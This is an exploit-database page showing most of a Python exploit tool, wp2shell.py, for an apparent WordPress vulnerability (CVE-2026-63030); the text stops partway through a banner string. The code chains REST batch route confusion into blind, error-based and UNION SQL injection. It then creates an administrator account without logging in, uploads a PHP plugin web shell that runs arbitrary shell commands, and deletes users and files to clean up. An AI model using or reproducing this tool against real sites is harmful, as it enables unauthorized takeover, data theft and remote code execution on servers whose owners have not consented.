Exploit database

GH-895083892a948303a8615838a133786e

langz337/cve-2026-63030

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-63030

50 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
langz337/cve-2026-63030Revision b4841524deef

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

wp2shell.py

Python · 69,616 bytes
from __future__ import annotations

import argparse
import hashlib
import html
import http.cookiejar
import io
import json
import os
import queue
import re
import secrets
import shlex
import statistics
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
import zipfile
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from html.parser import HTMLParser
from typing import Any, Callable, Dict, Iterable, List, Optional, Tuple

try:
    import readline
except ImportError:
    pass


__version__ = "1.0.0"

_DESYNC_PRIMER = {"method": "POST", "path": "///"}
_BATCH_MARKER_CODES = ("parse_path_failed", "block_cannot_read", "rest_batch_not_allowed")
POSTS_ITEM_SOURCE_PATH = "/wp/v2/posts/999999"


class TargetError(Exception):
    pass


@dataclass
class Response:
    status: int
    elapsed: float
    body: str

    def json(self) -> Any:
        return json.loads(self.body)


class BatchClient:
    def __init__(
        self,
        base_url: str,
        *,
        timeout: float = 30.0,
        proxy: Optional[str] = None,
        user_agent: str = "wp2shell",
    ) -> None:
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.user_agent = user_agent
        handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
        self._opener = urllib.request.build_opener(*handlers)

    @property
    def endpoint(self) -> str:
        return f"{self.base_url}/?rest_route=/batch/v1"

    def post(self, payload: dict) -> Response:
        request = urllib.request.Request(
            self.endpoint,
            data=json.dumps(payload).encode(),
            method="POST",
            headers={"Content-Type": "application/json", "User-Agent": self.user_agent},
        )
        start = time.monotonic()
        try:
            resp = self._opener.open(request, timeout=self.timeout)
            status, body = resp.status, resp.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as exc:
            status, body = exc.code, exc.read().decode("utf-8", "replace")
        except OSError as exc:
            reason = getattr(exc, "reason", exc)
            raise TargetError(f"cannot reach {self.endpoint}: {reason}") from None
        return Response(status, time.monotonic() - start, body)

    def get(self, path: str) -> Response:
        url = self.base_url + (path if path.startswith("/") else f"/{path}")
        request = urllib.request.Request(
            url,
            method="GET",
            headers={"User-Agent": self.user_agent},
        )
        start = time.monotonic()
        try:
            resp = self._opener.open(request, timeout=self.timeout)
            status, body = resp.status, resp.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as exc:
            status, body = exc.code, exc.read().decode("utf-8", "replace")
        except OSError as exc:
            reason = getattr(exc, "reason", exc)
            raise TargetError(f"cannot reach {url}: {reason}") from None
        return Response(status, time.monotonic() - start, body)

    def marker_probe(self) -> Response:
        return self.post(
            {
                "requests": [
                    _DESYNC_PRIMER,
                    {"method": "POST", "path": "/wp/v2/posts"},
                    {"method": "POST", "path": "/wp/v2/block-renderer/core/archives"},
                    {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
                ]
            }
        )

    @staticmethod
    def batch_marker_codes(response: Response) -> tuple:
        try:
            body = response.json()
        except ValueError:
            return ()

        found = []

        def walk(value) -> None:
            if isinstance(value, dict):
                code = value.get("code")
                if code in _BATCH_MARKER_CODES and code not in found:
                    found.append(code)
                for child in value.values():
                    walk(child)
            elif isinstance(value, list):
                for child in value:
                    walk(child)

        walk(body)
        return tuple(found)

    @staticmethod
    def has_route_confusion_markers(response: Response) -> bool:
        codes = BatchClient.batch_marker_codes(response)
        return all(code in codes for code in _BATCH_MARKER_CODES)

    def inject(self, author_not_in: str) -> Response:
        return self.post(self._payload(author_not_in))

    def union_inject(self, author_not_in: str) -> Response:
        return self.post(self._union_payload(author_not_in))

    @staticmethod
    def _union_payload(author_not_in: str) -> dict:
        query = urllib.parse.urlencode(
            {"author_exclude": author_not_in, "orderby": "none", "per_page": "500"}
        )
        inner = {
            "requests": [
                _DESYNC_PRIMER,
                {"method": "GET", "path": POSTS_ITEM_SOURCE_PATH + "?" + query},
                {"method": "GET", "path": "/wp/v2/posts"},
            ]
        }
        return {
            "requests": [
                _DESYNC_PRIMER,
                {"method": "POST", "path": "/wp/v2/posts", "body": inner},
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ]
        }

    def match_count(self, response: Response) -> Optional[int]:
        try:
            inner = response.json()["responses"][1]["body"]
            headers = inner["responses"][1]["headers"]
        except (KeyError, IndexError, TypeError, ValueError):
            return None
        if not isinstance(headers, dict):
            return None
        try:
            return int(headers.get("X-WP-Total"))
        except (TypeError, ValueError):
            return None

    @staticmethod
    def _payload(author_not_in: str) -> dict:
        inner = {
            "requests": [
                _DESYNC_PRIMER,
                {
                    "method": "GET",
                    "path": POSTS_ITEM_SOURCE_PATH
                    + "?author_exclude="
                    + urllib.parse.quote(author_not_in, safe=""),
                },
                {"method": "GET", "path": "/wp/v2/posts"},
            ]
        }
        return {
            "requests": [
                _DESYNC_PRIMER,
                {"method": "POST", "path": "/wp/v2/posts", "body": inner},
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ]
        }


_WORDPRESS_RE = re.compile(r"\bWordPress\s+([0-9]+(?:\.[0-9]+){1,3})\b", re.I)
_VERSION_RE = re.compile(r"\b([0-9]+(?:\.[0-9]+){1,3})\b")


@dataclass(frozen=True)
class VersionHint:
    version: str
    source: str
    detail: str
    affected: bool


class _HomepageParser(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.meta_generators = []

    def handle_starttag(self, tag: str, attrs: Iterable[Tuple[str, Optional[str]]]) -> None:
        values = {name.lower(): value for name, value in attrs if value is not None}
        if tag.lower() == "meta" and values.get("name", "").lower() == "generator":
            content = values.get("content")
            if content:
                self.meta_generators.append(content)


def public_version_hints(
    client: BatchClient, homepage: Optional[Response] = None
) -> Tuple[VersionHint, ...]:
    hints = []
    seen = set()

    def add(version: Optional[str], source: str, detail: str) -> None:
        if not version:
            return
        key = (version, source)
        if key in seen:
            return
        seen.add(key)
        hints.append(
            VersionHint(
                version=version,
                source=source,
                detail=detail,
                affected=is_affected_version(version),
            )
        )

    for path, source in (
        ("/wp-json/", "REST API generator"),
        ("/?rest_route=/", "REST API generator (?rest_route=/)"),
    ):
        response = _get(client, path)
        if response is None or response.status >= 400:
            continue
        try:
            body = response.json()
        except json.JSONDecodeError:
            continue
        if isinstance(body, dict):
            generator = body.get("generator")
            if isinstance(generator, str):
                add(_version_from_generator(generator), source, generator)

    response = homepage if homepage is not None else _get(client, "/")
    if response is not None and response.status < 400:
        parser = _HomepageParser()
        parser.feed(response.body)
        for generator in parser.meta_generators:
            add(_version_from_wordpress_text(generator), "HTML generator meta", generator)

    return tuple(hints)


_WP_ASSET_RE = re.compile(r"/(wp-content|wp-includes)/")
_URL_BOUNDARY = ("\"", "'", "`", "(", "<", ">", " ", "\t", "\r", "\n")


def _registrable_domain(host: str) -> str:
    labels = host.lower().rsplit(":", 1)[0].split(".")
    return ".".join(labels[-2:]) if len(labels) >= 2 else host.lower()


def _same_origin_wp_segments(body: str, target_host: str) -> set:
    target_domain = _registrable_domain(target_host)
    found = set()
    for match in _WP_ASSET_RE.finditer(body):
        start = max((body.rfind(ch, 0, match.start()) for ch in _URL_BOUNDARY), default=-1)
        host = re.match(r"(?:https?:)?//([\w.\-]+)", body[start + 1 : match.start()])
        if host is None or _registrable_domain(host.group(1)) == target_domain:
            found.add(match.group(1))
    return found


def wordpress_markers(
    client: BatchClient, homepage: Optional[Response] = None
) -> Tuple[str, ...]:
    markers = []

    response = homepage if homepage is not None else _get(client, "/")
    if response is not None and response.status < 400:
        host = urllib.parse.urlsplit(client.base_url).netloc
        segments = _same_origin_wp_segments(response.body, host)
        for segment in ("wp-content", "wp-includes"):
            if segment in segments:
                markers.append(segment)

    for path in ("/wp-json/", "/?rest_route=/"):
        response = _get(client, path)
        if response is None or response.status >= 400:
            continue
        try:
            body = response.json()
        except json.JSONDecodeError:
            body = None
        if isinstance(body, dict) and ("routes" in body or "wp/v2" in response.body):
            if "wp-json" not in markers:
                markers.append("wp-json")

    return tuple(markers)


def is_affected_version(version: str) -> bool:
    parsed = _parse_version(version)
    if parsed is None:
        return False
    return (6, 9, 0) <= parsed <= (6, 9, 4) or (7, 0, 0) <= parsed <= (7, 0, 1)


def version_status(version: str) -> str:
    if is_affected_version(version):
        return "wp2shell affected range"
    return "not in wp2shell affected ranges"


def _get(client: BatchClient, path: str):
    try:
        return client.get(path)
    except TargetError:
        return None


def _version_from_generator(value: str) -> Optional[str]:
    parsed = urllib.parse.urlparse(value)
    for version in urllib.parse.parse_qs(parsed.query).get("v", []):
        normalized = _normalize_version(version)
        if normalized:
            return normalized
    return _version_from_wordpress_text(value)


def _version_from_wordpress_text(value: str) -> Optional[str]:
    match = _WORDPRESS_RE.search(value)
    return _normalize_version(match.group(1)) if match else None


def _normalize_version(value: str) -> Optional[str]:
    match = _VERSION_RE.search(value)
    return match.group(1) if match else None


def _parse_version(version: str) -> Optional[Tuple[int, int, int]]:
    normalized = _normalize_version(version)
    if not normalized:
        return None
    parts = [int(part) for part in normalized.split(".")]
    while len(parts) < 3:
        parts.append(0)
    return tuple(parts[:3])


_MIN_PRINTABLE = 32
_MAX_PRINTABLE = 126


@dataclass
class TimingConfirmation:
    confirmed: bool
    baseline: float
    delayed: float
    delta: float
    threshold: float
    samples: Tuple[Tuple[float, float], ...]


class BlindSQLi:
    def __init__(self, client: BatchClient, *, sleep: float = 3.0) -> None:
        self.client = client
        self.sleep = sleep
        self.requests = 0

    def confirm_timing(self, *, samples: int = 3) -> TimingConfirmation:
        if samples < 1:
            raise ValueError("samples must be at least 1")

        pairs = []
        for _ in range(samples):
            baseline = self._elapsed("SLEEP(0)")
            delayed = self._elapsed(f"SLEEP({self.sleep:g})")
            pairs.append((baseline, delayed))

        baselines = [pair[0] for pair in pairs]
        delayed = [pair[1] for pair in pairs]
        deltas = [delay - base for base, delay in pairs]
        baseline_median = statistics.median(baselines)
        delayed_median = statistics.median(delayed)
        delta_median = statistics.median(deltas)
        threshold = max(0.75, self.sleep * 0.65)
        confirmed = delta_median >= threshold
        return TimingConfirmation(
            confirmed=confirmed,
            baseline=baseline_median,
            delayed=delayed_median,
            delta=delta_median,
            threshold=threshold,
            samples=tuple(pairs),
        )

    def extract(
        self,
        expression: str,
        *,
        max_length: int = 128,
        on_char: Optional[Callable[[str], None]] = None,
    ) -> str:
        chars = []
        for position in range(1, max_length + 1):
            probe = f"ASCII(SUBSTRING(COALESCE(({expression}),''),{position},1))"
            if not self._true(f"{probe} > 0"):
                break
            low, high = _MIN_PRINTABLE, _MAX_PRINTABLE
            while low < high:
                mid = (low + high) // 2
                if self._true(f"{probe} > {mid}"):
                    low = mid + 1
                else:
                    high = mid
            chars.append(chr(low))
            if on_char:
                on_char("".join(chars))
        return "".join(chars)

    def integer(self, expression: str) -> int:
        text = self.extract(expression).strip()
        if not text.lstrip("-").isdigit():
            raise ValueError(f"expected an integer from {expression!r}, got {text!r}")
        return int(text)

    def _elapsed(self, sql: str) -> float:
        self.requests += 1
        return self.client.inject(f"0) AND (SELECT 1 FROM (SELECT {sql})x)-- -").elapsed

    def _true(self, condition: str) -> bool:
        self.requests += 1
        count = self.client.match_count(self.client.inject(f"-1) AND ({condition})-- -"))
        if count is None:
            raise RuntimeError("blind SQLi oracle did not return X-WP-Total")
        return count > 0


class ErrorBasedSQLi:
    _HEX_RE = re.compile(r"XPATH syntax error: '~([0-9A-Fa-f]*)")
    _STR_RE = re.compile(r"XPATH syntax error: '~([^']*)")
    _CHUNK = 15

    def __init__(self, client: BatchClient) -> None:
        self.client = client
        self.requests = 0

    def available(self) -> bool:
        return self._leak_hex("SELECT 0x414243") == b"ABC"

    def extract(
        self,
        expression: str,
        *,
        max_length: int = 256,
        on_char: Optional[Callable[[str], None]] = None,
    ) -> str:
        length_text = self._leak_str(f"SELECT LENGTH(COALESCE(({expression}),''))")
        if length_text is None or not length_text.strip().isdigit():
            return ""
        length = min(int(length_text.strip()), max_length)

        out = bytearray()
        offset = 1
        while offset <= length:
            chunk = self._leak_hex(
                f"SELECT SUBSTRING(COALESCE(({expression}),''),{offset},{self._CHUNK})"
            )
            if not chunk:
                break
            out.extend(chunk)
            offset += len(chunk)
            if on_char:
                on_char(out.decode("utf-8", "replace"))
            if len(chunk) < self._CHUNK:
                break
        return out.decode("utf-8", "replace")

    def integer(self, expression: str) -> int:
        text = (self._leak_str(f"SELECT ({expression})") or "").strip()
        if not text.lstrip("-").isdigit():
            raise ValueError(f"expected an integer from {expression!r}, got {text!r}")
        return int(text)

    def _leak_hex(self, expression: str) -> Optional[bytes]:
        text = self._send(f"HEX(({expression}))")
        match = self._HEX_RE.search(text)
        if not match:
            return None
        digits = match.group(1)
        if len(digits) % 2:
            digits = digits[:-1]
        try:
            return bytes.fromhex(digits)
        except ValueError:
            return None

    def _leak_str(self, expression: str) -> Optional[str]:
        text = self._send(f"({expression})")
        match = self._STR_RE.search(text)
        return match.group(1) if match else None

    def _send(self, inner: str) -> str:
        self.requests += 1
        payload = f"0) OR EXTRACTVALUE(1,CONCAT(0x7e,{inner}))-- -"
        return html.unescape(self.client.inject(payload).body)


class UnionSQLi:
    _COLUMNS = 23
    _TITLE_COL = 6
    _RE = re.compile(r"\|\|([0-9A-Fa-f]*)\|\|")
    _PUBLISH = "0x7075626c697368"
    _POST = "0x706f7374"
    _DATE = "0x323032302d30312d30312030303a30303a3030"

    def __init__(self, client: BatchClient) -> None:
        self.client = client
        self.requests = 0

    def available(self) -> bool:
        return self._read("SELECT 0x4f4b") == "OK"

    def extract(
        self,
        expression: str,
        *,
        max_length: int = 0,
        on_char: Optional[Callable[[str], None]] = None,
    ) -> str:
        value = self._read(expression)
        if value and on_char:
            on_char(value)
        return value or ""

    def integer(self, expression: str) -> int:
        text = (self._read(f"SELECT ({expression})") or "").strip()
        if not text.lstrip("-").isdigit():
            raise ValueError(f"expected an integer from {expression!r}, got {text!r}")
        return int(text)

    def _read(self, expression: str) -> Optional[str]:
        self.requests += 1
        response = self.client.union_inject(f"0) UNION SELECT {self._columns(expression)}-- -")
        match = self._RE.search(response.body)
        if not match:
            return None
        digits = match.group(1)
        if len(digits) % 2:
            digits = digits[:-1]
        try:
            return bytes.fromhex(digits).decode("utf-8", "replace")
        except ValueError:
            return None

    def _columns(self, expression: str) -> str:
        columns = []
        for index in range(1, self._COLUMNS + 1):
            if index == 1:
                columns.append("999999")
            elif index in (3, 4, 15, 16):
                columns.append(self._DATE)
            elif index == self._TITLE_COL:
                columns.append(f"CONCAT(0x7c7c,HEX(CAST(({expression})AS CHAR)),0x7c7c)")
            elif index == 8:
                columns.append(self._PUBLISH)
            elif index == 21:
                columns.append(self._POST)
            else:
                columns.append(str(index))
        return ",".join(columns)


_POST_DATE = "2020-01-01 00:00:00"
_OEMBED_SIZE = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
_ADMIN_PREFIX = "wp2_"
_PASSWORD_PREFIX = "Wp2!"
_EMAIL_DOMAIN = "wp2shell.invalid"
_NAV_URL = "https://example.invalid/"


@dataclass
class CreatedAdmin:
    username: str
    password: str
    email: str
    source_admin_id: int
    table_prefix: str


def mysql_hex(text: str) -> str:
    return f"0x{text.encode().hex()}" if text else "''"


def wp_posts_tuple(
    row_id: int,
    *,
    body: str = "",
    title: str = "",
    status: str = "publish",
    slug: str = "",
    parent: int = 0,
    kind: str = "post",
    author: int = 1,
) -> str:
    columns = [
        str(row_id),
        str(author),
        mysql_hex(_POST_DATE),
        mysql_hex(_POST_DATE),
        mysql_hex(body),
        mysql_hex(title),
        "''",
        mysql_hex(status),
        mysql_hex("closed"),
        mysql_hex("closed"),
        "''",
        mysql_hex(slug),
        "''",
        "''",
        mysql_hex(_POST_DATE),
        mysql_hex(_POST_DATE),
        "''",
        str(parent),
        "''",
        "0",
        mysql_hex(kind),
        "''",
        "0",
    ]
    return ",".join(columns)


class PreAuthAdminCreator:
    def __init__(
        self,
        base_url: str,
        *,
        timeout: float = 30.0,
        proxy: Optional[str] = None,
        user_agent: str = "wp2shell",
    ) -> None:
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.client = BatchClient(
            base_url,
            timeout=timeout,
            proxy=proxy,
            user_agent=user_agent,
        )
        handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
        self.http = urllib.request.build_opener(*handlers)
        self.http.addheaders = [("User-Agent", user_agent)]

    def create_admin(self) -> CreatedAdmin:
        sqli = UnionSQLi(self.client)
        if not sqli.available():
            raise RuntimeError("UNION fake-post primitive is not available on this target")

        nonce = secrets.token_hex(6)
        loopback_embeds = self._loopback_embed_urls(nonce)
        self._prime_oembed_posts(loopback_embeds)

        posts_table = self._posts_table(sqli)
        table_prefix = posts_table[:-5]
        source_admin_id = self._first_admin_id(sqli, table_prefix)
        backing_ids = self._oembed_backing_ids(sqli, posts_table, loopback_embeds)

        username = f"{_ADMIN_PREFIX}{nonce}"
        password = f"{_PASSWORD_PREFIX}{secrets.token_urlsafe(15)}"
        email = f"{username}@{_EMAIL_DOMAIN}"
        self._submit_user_write(
            backing_ids,
            loopback_embeds,
            source_admin_id,
            {"username": username, "password": password, "email": email, "roles": ["administrator"]},
        )
        return CreatedAdmin(username, password, email, source_admin_id, table_prefix)

    def _posts_table(self, sqli: UnionSQLi) -> str:
        table_name = sqli.extract(
            "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES "
            "WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
            "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1"
        )
        if not re.fullmatch(r"[A-Za-z0-9_$]+", table_name):
            raise RuntimeError("could not recover wp_posts table name")
        return table_name

    def _first_admin_id(self, sqli: UnionSQLi, table_prefix: str) -> int:
        capabilities_key = mysql_hex(table_prefix + "capabilities")
        serialized_admin_cap = mysql_hex('s:13:"administrator";b:1;')
        admin_id = sqli.integer(
            f"SELECT u.ID FROM `{table_prefix}users` u "
            f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID "
            f"WHERE m.meta_key={capabilities_key} AND INSTR(m.meta_value,{serialized_admin_cap})>0 "
            "ORDER BY u.ID LIMIT 1"
        )
        if admin_id < 1:
            raise RuntimeError("could not find an existing administrator ID")
        return admin_id

    def _loopback_embed_urls(self, nonce: str) -> List[str]:
        base_link = self._first_embeddable_link()
        split = urllib.parse.urlsplit(base_link)
        return [
            urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}"))
            for i in range(3)
        ]

    def _first_embeddable_link(self) -> str:
        for route in ("/wp/v2/posts", "/wp/v2/pages"):
            try:
                with self._open_rest(route, {"per_page": "1", "_fields": "link"}) as response:
                    items = json.loads(response.read())
            except urllib.error.HTTPError:
                continue
            if items and items[0].get("link"):
                return items[0]["link"]
        raise RuntimeError(
            "no public post or page found to seed the oEmbed cache "
            "(need at least one published post or page)"
        )

    def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None:
        content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)
        self._render_union_posts([wp_posts_tuple(0, body=content, title="seed", slug="seed")])

    def _oembed_backing_ids(self, sqli: UnionSQLi, posts_table: str, embed_urls: Iterable[str]) -> List[int]:
        ids = []
        for embed_url in embed_urls:
            cache_name = hashlib.md5((embed_url + _OEMBED_SIZE).encode()).hexdigest()
            ids.append(
                sqli.integer(
                    f"SELECT ID FROM `{posts_table}` "
                    "WHERE post_type=0x6f656d6265645f6361636865 "
                    f"AND post_name=0x{cache_name.encode().hex()} "
                    "ORDER BY ID DESC LIMIT 1"
                )
            )
        if any(row_id < 1 for row_id in ids) or len(set(ids)) != 3:
            raise RuntimeError("could not recover three unique oEmbed cache post IDs")
        return ids

    def _submit_user_write(
        self,
        backing_ids: List[int],
        embed_urls: List[str],
        source_admin_id: int,
        user_body: Dict[str, object],
    ) -> None:
        graph = _PoisonGraph(backing_ids, source_admin_id)
        rows = graph.rows(self._changeset_payload(graph.nav_item_id, source_admin_id), embed_urls[1])
        self._render_union_posts(
            rows,
            tail_requests=[
                {"method": "POST", "path": "/wp/v2/users", "body": user_body},
                {"method": "POST", "path": "/wp/v2/users", "body": user_body},
            ],
        )

    def _changeset_payload(self, nav_item_id: int, user_id: int) -> str:
        return json.dumps(
            {
                f"nav_menu_item[{nav_item_id}]": {
                    "type": "nav_menu_item",
                    "user_id": user_id,
                    "value": {
                        "object_id": 0,
                        "object": "",
                        "menu_item_parent": 0,
                        "position": 0,
                        "type": "custom",
                        "title": "generated",
                        "url": _NAV_URL,
                        "target": "",
                        "attr_title": "",
                        "description": "",
                        "classes": "",
                        "xfn": "",
                        "status": "publish",
                        "nav_menu_term_id": 0,
                        "_invalid": False,
                    },
                }
            },
            separators=(",", ":"),
        )

    def _render_union_posts(self, post_rows: List[str], tail_requests: Optional[List[dict]] = None) -> None:
        union_payload = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(post_rows) + " -- -"
        query = urllib.parse.urlencode(
            {"author_exclude": union_payload, "per_page": "500", "orderby": "none"}
        )
        requests = [
            {"method": "GET", "path": "http://:"},
            {"method": "GET", "path": POSTS_ITEM_SOURCE_PATH + "?" + query},
            {"method": "GET", "path": "/wp/v2/posts"},
        ]
        if tail_requests:
            requests.extend(tail_requests)
        self._nested_batch(requests, timeout=60)

    def _nested_batch(self, requests: List[dict], *, timeout: float) -> None:
        original_timeout = self.client.timeout
        self.client.timeout = timeout
        try:
            response = self.client.post(
                {
                    "requests": [
                        {"method": "POST", "path": "http://:"},
                        {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}},
                        {"method": "POST", "path": "/batch/v1"},
                    ]
                }
            )
        finally:
            self.client.timeout = original_timeout
        if response.status >= 400:
            raise TargetError(f"batch request returned HTTP {response.status}")

    def _open_rest(self, route: str, query: Dict[str, str]):
        url = f"{self.base_url}/?" + urllib.parse.urlencode({"rest_route": route, **query})
        try:
            return self.http.open(url, timeout=self.timeout)
        except urllib.error.HTTPError:
            raise
        except OSError as exc:
            reason = getattr(exc, "reason", exc)
            raise TargetError(f"cannot reach {url}: {reason}") from None


@dataclass
class _PoisonGraph:
    cache_post_ids: List[int]
    source_admin_id: int

    def __post_init__(self) -> None:
        self.outer_id = 1800000000 + secrets.randbelow(100000000)
        self.nav_item_id = self.outer_id + 1
        self.inner_id = self.outer_id + 2
        self.changeset_id, self.cache_id, self.request_id = self.cache_post_ids

    def rows(self, changeset: str, trigger_embed_url: str) -> List[str]:
        return [
            wp_posts_tuple(
                0,
                body=f'[embed width="500" height="750"]{trigger_embed_url}[/embed]',
                title="trigger",
                slug="trigger",
            ),
            wp_posts_tuple(
                self.changeset_id,
                body=changeset,
                title="changeset",
                status="future",
                slug=str(uuid.uuid4()),
                parent=self.outer_id,
                kind="customize_changeset",
            ),
            wp_posts_tuple(
                self.outer_id,
                body="outer",
                title="outer",
                status="draft",
                slug="outer",
                parent=self.changeset_id,
            ),
            wp_posts_tuple(
                self.cache_id,
                title="cache",
                slug="cache",
                parent=self.changeset_id,
            ),
            wp_posts_tuple(
                self.nav_item_id,
                body="nav",
                title="nav",
                slug="nav",
                parent=self.request_id,
                kind="nav_menu_item",
            ),
            wp_posts_tuple(
                self.request_id,
                body="parse",
                title="parse",
                status="parse",
                slug="parse",
                parent=self.inner_id,
                kind="request",
            ),
            wp_posts_tuple(
                self.inner_id,
                body="inner",
                title="inner",
                status="draft",
                slug="inner",
                parent=self.request_id,
            ),
        ]


_MARKER = "WP2SHELL"


class AdminSession:
    def __init__(
        self,
        base_url: str,
        *,
        timeout: float = 20.0,
        proxy: Optional[str] = None,
        user_agent: str = "wp2shell",
    ) -> None:
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self._slug = "wp2shell_" + secrets.token_hex(4)
        self._token = secrets.token_hex(16)
        self._jar = http.cookiejar.CookieJar()
        handlers = [urllib.request.HTTPCookieProcessor(self._jar)]
        if proxy:
            handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
        self._opener = urllib.request.build_opener(*handlers)
        self._opener.addheaders = [("User-Agent", user_agent)]

    def login(self, username: str, password: str) -> bool:
        self._get("/wp-login.php")
        self._post(
            "/wp-login.php",
            {
                "log": username,
                "pwd": password,
                "wp-submit": "Log In",
                "redirect_to": f"{self.base_url}/wp-admin/",
                "testcookie": "1",
            },
        )
        return any(c.name.startswith("wordpress_logged_in") for c in self._jar)

    def deploy_webshell(self) -> str:
        page = self._get("/wp-admin/plugin-install.php?tab=upload")
        nonce = self._nonce(page)
        if not nonce:
            raise RuntimeError("plugin-upload nonce not found (are the credentials valid?)")
        body, content_type = self._multipart(
            {
                "_wpnonce": nonce,
                "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
                "install-plugin-submit": "Install Now",
            },
            {"pluginzip": (f"{self._slug}.zip", self._plugin_zip())},
        )
        self._post("/wp-admin/update.php?action=upload-plugin", body, {"Content-Type": content_type})
        return f"/wp-content/plugins/{self._slug}/{self._slug}.php"

    def run(self, shell_path: str, command: str) -> Optional[str]:
        query = urllib.parse.urlencode({"t": self._token, "c": command})
        output = self._get(f"{shell_path}?{query}")
        match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S)
        return match.group(1) if match else None

    def cleanup(self, shell_path: str) -> bool:
        try:
            out = self.run(
                shell_path,
                'd=$(pwd); case "$d" in */wp-content/plugins/*) cd / && rm -rf "$d";; esac',
            )
        except (OSError, TargetError):
            return False
        if out is None:
            return False
        try:
            self._get(shell_path)
        except urllib.error.HTTPError as exc:
            return exc.code == 404
        except (OSError, TargetError):
            return False
        return False

    def delete_user_with_shell(self, shell_path: str, username: str, *, reassign_to: int) -> bool:
        query = urllib.parse.urlencode(
            {
                "t": self._token,
                "delete_user": username,
                "reassign": str(reassign_to),
            }
        )
        output = self._get(f"{shell_path}?{query}")
        match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S)
        return bool(match and match.group(1).strip() == "deleted")

    def _get(self, path: str) -> str:
        return self._open(self.base_url + path)

    def _post(self, path: str, data, headers: Optional[dict] = None) -> str:
        if isinstance(data, dict):
            data = urllib.parse.urlencode(data).encode()
        request = urllib.request.Request(self.base_url + path, data=data, headers=headers or {})
        return self._open(request)

    def _open(self, target) -> str:
        try:
            return self._opener.open(target, timeout=self.timeout).read().decode("utf-8", "replace")
        except urllib.error.HTTPError:
            raise
        except OSError as exc:
            reason = getattr(exc, "reason", exc)
            raise TargetError(f"cannot reach {self.base_url}: {reason}") from None

    def _plugin_zip(self) -> bytes:
        php = (
            "<?php\n"
            "/*\nPlugin Name: wp2shell\nDescription: Temporary command runner.\n*/\n"
            f"if (hash_equals('{self._token}', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {{\n"
            "    chdir(__DIR__);\n"
            f"    echo '{_MARKER}::' . shell_exec((string) $_GET['c']) . '::END';\n"
            f"}} elseif (hash_equals('{self._token}', (string) ($_GET['t'] ?? '')) && isset($_GET['delete_user'])) {{\n"
            "    require_once dirname(__DIR__, 3) . '/wp-load.php';\n"
            "    require_once ABSPATH . 'wp-admin/includes/user.php';\n"
            "    $user = get_user_by('login', (string) $_GET['delete_user']);\n"
            "    $ok = $user ? wp_delete_user((int) $user->ID, (int) ($_GET['reassign'] ?? 0)) : false;\n"
            f"    echo '{_MARKER}::' . ($ok ? 'deleted' : 'failed') . '::END';\n"
            "}\n"
        )
        buffer = io.BytesIO()
        with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
            archive.writestr(f"{self._slug}/{self._slug}.php", php)
        return buffer.getvalue()

    @staticmethod
    def _nonce(html: str) -> Optional[str]:
        form = re.search(
            r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"',
            html,
            re.S,
        )
        if form:
            return form.group(1)
        tag = re.search(r'<input[^>]*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html)
        return tag.group(1) if tag else None

    @staticmethod
    def _multipart(fields: Dict[str, str], files: Dict[str, Tuple[str, bytes]]) -> Tuple[bytes, str]:
        boundary = "----wp2shell" + uuid.uuid4().hex
        buffer = io.BytesIO()
        for name, value in fields.items():
            buffer.write(f"--{boundary}\r\n".encode())
            buffer.write(f'Content-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode())
        for name, (filename, content) in files.items():
            buffer.write(f"--{boundary}\r\n".encode())
            buffer.write(
                f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode()
            )
            buffer.write(b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n")
        buffer.write(f"--{boundary}--\r\n".encode())
        return buffer.getvalue(), f"multipart/form-data; boundary={boundary}"


_TTY = sys.stdout.isatty()
_RESULTS_DIR = "Results"
_RESULTS_FILE = os.path.join(_RESULTS_DIR, "results.txt")

_GREEN = "92"
_GREEN_DIM = "32"
_GREEN_BOLD = "1;92"
_CYAN = "96"
_RED = "91"
_YELLOW = "93"


def _paint(code: str, text: str) -> str:
    return f"\033[{code}m{text}\033[0m" if _TTY else text


def _logo() -> str:
    art = r"""
   ██╗      █████╗ ███╗   ██╗ ██████╗ ███████╗
   ██║     ██╔══██╗████╗  ██║██╔════╝ ╚══███╔╝
   ██║     ███████║██╔██╗ ██║██║  ███╗  ███╔╝
   ██║     ██╔══██║██║╚██╗██║██║   ██║ ███╔╝
   ███████╗██║  ██║██║ ╚████║╚██████╔╝███████╗
   ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚══════╝
"""
